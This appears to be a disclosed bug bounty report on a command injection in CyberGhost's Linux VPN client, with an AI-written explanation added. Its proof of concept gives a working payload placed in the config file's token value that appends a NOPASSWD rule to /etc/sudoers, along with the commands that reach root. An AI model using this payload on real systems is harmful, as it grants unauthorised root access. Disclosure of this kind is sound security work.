Linux client - command injection - local privilege escalation
The Linux client builds a shell command using token and secret values from a user-editable configuration file, allowing command injection. An attacker with limited sudo rights to run only the VPN client could inject commands to escalate to root.
CyberGhost
Originally disclosed on Bugcrowd
- Accepted in 5 days
- Fixed in 18 days
- Disclosed after 4 months
Summary by CyberGhost
While mmmdspl initially submitted this vulnerability through our Vulnerability Disclosure Program, we immediately recognized the value of his research into our application and wanted to ensure he was rewarded for it, so we asked him to submit to our bug bounty program. We greatly appreciate his efforts to identify this local privilege escalation weakness in our Linux client application.
Summary by mmmdspl
Linux client has a command injection vulnerability. This vulnerability could be successfully exploited to escalate privileges to root in case the user has limited privileges and is allowed to run only cyberghostvpn command with sudo.
Report details
-
Submitted
01 Dec 2022 11:00:15 UTC
-
Target Location
CyberGhost Linux application -
Target category
Other
-
VRT
Client-Side Injection
-
Priority
P1
-
Bug URL
Empty
-
Description
I am resubmitting the report according to Brenton's advice - https://bugcrowd.com/submissions/e9a427ffe2dad4b409893bbd366c461ca658813a7f8fc6db9d47b36ab069f049
Original report:
Hello CyberGhost Team,
I discovered that the Linux client has a command injection vulnerability. This vulnerability could be successfully exploited to escalate privileges to root in case the user has limited privileges and is allowed to run only
cyberghostvpncommand with sudo.The injection is located in wireguard-related code
cyberghostvpn_ubuntu_18.04_extracted/PYZ-00.pyz_extracted/services/wireguard.pydef __addKey(self, publicKey, hostname): token = self.getConfig('device', 'token') secret = self.getConfig('device', 'secret') command = 'curl [...] --user "' + token + ':' + secret + '" --data-urlencode "pubkey=' + publicKey + '" "https://' + hostname + ':1337/addKey"' proc = Helpers().executeCommand(command)Values
tokenandsecretcome from user-controllable configuration file. These values could be modified to inject any command which will be executed when establishing new wireguard connection. In the result, a user that is allowed to connect to VPN, may escalate to root.PoC:
- Prerequisite - user is allowed to run only
cyberghostvpnwith sudo.
$ sudo -l User user may run the following commands on myhost: (ALL) /usr/bin/cyberghostvpn $ sudo su Sorry, user user is not allowed to execute '/usr/bin/su' as root on myhost.- User edits its own configuration file to provide payload in "token" value
$ cd ~/.cyberghostvpn $ cp config.ini config.ini.bak$ cat config.ini [account] username = [redcated] password = [redacted] [device] name = Linux APP token = aaaa" --help;echo 'temp ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;" secret = bbbb- Connect to the VPN (now payload will be executed with root privileges). Payload modifies /etc/sudoers allowing the user to execute any command as root.
$ sudo cyberghostvpn --wireguard --connect --country-code CZ Prepare Wireguard connection ... Select server ... prague-s401-i16 Connecting ... WIREGUARD error: cannot add key!- Switch to root
$ sudo -l User user may run the following commands on myhost: (ALL) /usr/bin/cyberghostvpn (ALL) NOPASSWD: ALL $ sudo su # whoami root - Prerequisite - user is allowed to run only
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application concatenates user-controlled configuration values into a shell command without sanitisation, leading to command injection.
Impact
A user with limited privileges who is allowed to run only the VPN client with sudo could escalate to root.
What the attacker needed
User can run only cyberghostvpn with sudo; user can edit own config file
How it was found
- Confirm the user can only run the VPN client with sudo.
- Edit the configuration file to put a malicious payload in the token value.
- Run the VPN client with sudo to connect, which executes the payload as root.
- Check that the user now has full sudo rights and can become root.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The VPN program runs a system command to connect to a server, and it puts values from a settings file directly into that command. Because the user can edit that file, they can sneak in extra commands that run with the program's high privileges, letting them become the administrator (root) of the machine.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.